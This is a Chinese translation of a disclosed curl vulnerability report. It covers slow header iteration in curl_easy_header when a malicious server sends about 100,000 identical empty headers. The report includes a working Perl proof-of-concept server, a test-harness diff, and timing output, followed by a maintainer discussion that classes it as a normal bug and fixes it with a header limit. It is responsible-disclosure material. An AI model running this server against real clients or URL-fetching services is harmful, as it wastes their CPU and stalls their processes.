摘要
curl_easy_header 的实现可被恶意服务器滥用,该服务器将所有头信息置于单一键下。例如服务器响应如下:
1
2
3
4
5
6
|
HTTP/1.1 200 OK
a:
a:
a:
a:
[重复直到达到 MAX_HTTP_RESP_HEADER_SIZE 字节]
|
作为开发者,如果您想遍历头信息,通常会这样做(取自 tests/libtest/lib1940.c):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
if(CURLHE_OK == curl_easy_header(easy, testdata[i], 0, CURLH_HEADER, HEADER_REQUEST, &header)) {
if(header->amount > 1) {
/* 多于一个,迭代遍历 */
size_t index = 0;
size_t amount = header->amount;
do {
curl_mprintf("- %s == %s (%u/%u)\n", header->name, header->value,
(int)index, (int)amount);
if(++index == amount)
break;
if(CURLHE_OK != curl_easy_header(easy, testdata[i], index, CURLH_HEADER,
HEADER_REQUEST, &header))
break;
} while(1);
}
else {
/* 仅有一个 */
curl_mprintf(" %s == %s\n", header->name, header->value);
}
}
|
每次调用 curl_easy_header 都会遍历每个条目,可能两次:首先计算具有该名称的所有头信息的数量,然后查找请求的索引(lib/headers.c):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
/* 需要第一轮计算该头信息的数量 */
for(e = Curl_llist_head(&data->state.httphdrs); e; e = Curl_node_next(e)) {
hs = Curl_node_elem(e);
if(strcasecompare(hs->name, name) &&
(hs->type & type) &&
(hs->request == request)) {
amount++;
pick = hs;
e_pick = e;
}
}
if(!amount)
return CURLHE_MISSING;
else if(nameindex >= amount)
return CURLHE_BADINDEX;
if(nameindex == amount - 1)
/* 如果请求的是最后一个或唯一一个出现,则我们知道它 */
hs = pick;
else {
for(e = Curl_llist_head(&data->state.httphdrs); e; e = Curl_node_next(e)) {
hs = Curl_node_elem(e);
if(strcasecompare(hs->name, name) &&
(hs->type & type) &&
(hs->request == request) &&
(match++ == nameindex)) {
e_pick = e;
break;
}
}
}
|
根据硬件不同,这可能累积到数分钟或更长时间。
本报告未使用 AI 生成。
受影响版本
当前测试使用 git @ 283ad5c4320fa1d733e60a0dbe216ee36e3924fb
1
2
3
4
5
|
./src/curl -V
curl 8.14.0-DEV (x86_64-pc-linux-gnu) libcurl/8.14.0-DEV OpenSSL/3.0.2 zlib/1.2.11 libpsl/0.21.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets
|
复现步骤
以下是一个示例 Perl 服务器,可生成约 300k 的头信息,所有键均为 ‘a’ 且无值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
#!/usr/bin/env perl
use strict;
use warnings;
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_RDWR);
# 仅生成大量空头信息,以便尽可能多地容纳,所有键相同:
#
# a:
# a:
# a:
# a:
# ...
# 超过此值 curl 会报错:
#
# Too large response headers: 307204 > 307200
#
my $header_count = 102_390;
my $headers = join("\n", ("a:") x $header_count) . "\n";
my $hlen = length($headers);
print "Using: $hlen bytes for the header with $header_count entries\n\n";
my $server = IO::Socket->new(
Domain => AF_INET,
Type => SOCK_STREAM,
Proto => 'tcp',
LocalHost => '0.0.0.0',
LocalPort => 3333,
ReusePort => 1,
Listen => 5,
) || die "Can't open socket: $@";
print "Try http://127.0.0.1:3333\n\n";
while (1) {
my $client = $server->accept();
print "Got a client\n";
# 读取请求并忽略
my $data = "";
$client->recv($data, 1024);
print "Got a request: \n\n" . $data =~ s/^/ /gmr;
$client->send("HTTP/1.1 200 OK\r\n");
print "H: $hlen\n";
while ($hlen > 0) {
print "Sending a chunk of headers...\n";
my $sent = $client->send($headers);
unless (defined $sent) {
die " Failed to send? $!\n";
}
substr($headers, 0, $sent) = "";
$hlen -= $sent;
print " ..sent $sent bytes\n";
}
$client->send("\nhi.\n");
$client->shutdown(SHUT_RDWR);
print "Responded\n\n";
# 每次重置这些
$headers = join("\n", ("a:") x $header_count) . "\n";
$hlen = length($headers);
}
|
然后,如果您修改 lib1940.c 如下,可以尝试使用它:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
diff --git a/tests/libtest/lib1940.c b/tests/libtest/lib1940.c
index 16e288029..9efb0934d 100644
--- a/tests/libtest/lib1940.c
+++ b/tests/libtest/lib1940.c
@@ -27,7 +27,7 @@
#include "memdebug.h"
static const char *testdata[]={
- "daTE",
+ "a",
"Server",
"content-type",
"content-length",
|
1
2
3
4
5
6
7
|
$ time ./lib1940 http://localhost:3333 >/dev/null
[...]
Test ended with result 0
real 0m51.830s
user 0m51.580s
sys 0m0.214s
|
这也意味着 curl 本身受到影响,对于任何使用 –write-out ‘%{header_json%}’ 的人:
1
2
3
4
5
|
$ time ./src/curl --write-out '%{header_json}' http://localhost:3333 >/dev/null
[...]
real 1m28.856s
user 1m28.702s
sys 0m0.116s
|
影响
摘要:
我认为这个影响较低。您需要让某人使用 –write-out ‘%{header_json%}’ 访问您的服务器,或者有一个使用 curl_easy_header 迭代所有值的库。
单个请求遇到此问题将仅使用大量 CPU 约一分钟或更长时间,具体取决于硬件。除非您能强制某人发出许多请求并使用大量 CPU,否则损害似乎很小。
更大的问题可能是让像 cron 作业或其他同步进程等待的时间比预期要长得多。
评论时间线
- dgustafsson (curl staff) 2025年5月7日 19:31 UTC:感谢报告。我同意我们可以做得更好,但感觉有点牵强称其为安全漏洞。
- wolfsage 2025年5月7日 19:34 UTC:在公开列表发布并最终成为安全漏洞或私下发布之间,我宁愿选择更安全的选项。随您处理,谢谢。
- dgustafsson (curl staff) 2025年5月7日 19:35 UTC:别误会,您绝对做了正确的事,我的评论不是对报告的批评,而是思考我们可以通过常规 PR 处理这个问题。我会等待团队更多意见。
- jimfuller2024 (curl staff) 2025年5月7日 21:17 UTC:清晰的好报告(谢谢!)… 结合说服某人使用 –write-out 访问恶意服务器,可能通过并行请求使 curl 工具拒绝服务… 同意其他人的观点,这可能不符合安全问题的阈值,只是一个代码错误,但愿意保持开放心态… 我稍微调整了您的 Perl 服务器输出,但未能激发出更糟的情况。
- wolfsage 2025年5月7日 21:51 UTC:是的,对于这种错误,我认为真正的风险是针对任何运行服务的地方,用户可输入 URL 来获取内容(如 icalendars 等)或 webhooks 等,并且服务提供商使用 libcurl 并使用 curl_easy_header 迭代所有头信息。
- bagder (curl staff) 2025年5月7日 22:34 UTC:我提议的修复添加了每个传输最多 5,000 个头信息的限制:https://github.com/curl/curl/pull/17281
- bagder (curl staff) 2025年5月8日 07:15 UTC:允许用户的“自定义” URL 邀请攻击者进行各种疯狂的恶作剧和恶意技巧,可以使传输变慢、停滞、浪费资源等。由于 curl 的性质,我不认为这种缓慢会显著改变风险集。我们认为这是一个“正常错误”,现已在 git 中修复。非常感谢报告和报告的高质量!
- wolfsage 2025年5月8日 14:46 UTC:不客气,感谢大家的工作!
- bagder (curl staff) 2025年6月28日 12:22 UTC:请求披露此报告。
- bagder (curl staff) 2025年7月1日 14:07 UTC:披露此报告。
报告详情
- 报告时间:2025年5月7日 19:25 UTC
- 报告者:wolfsage
- 报告对象:curl
- 报告 ID:#3133253
- 状态:信息性
- 严重性:无评级 (—)
- 披露时间:2025年7月1日 14:07 UTC
- 弱点:不受控制的资源消耗
- CVE ID:无
- 赏金:无
- 账户详情:无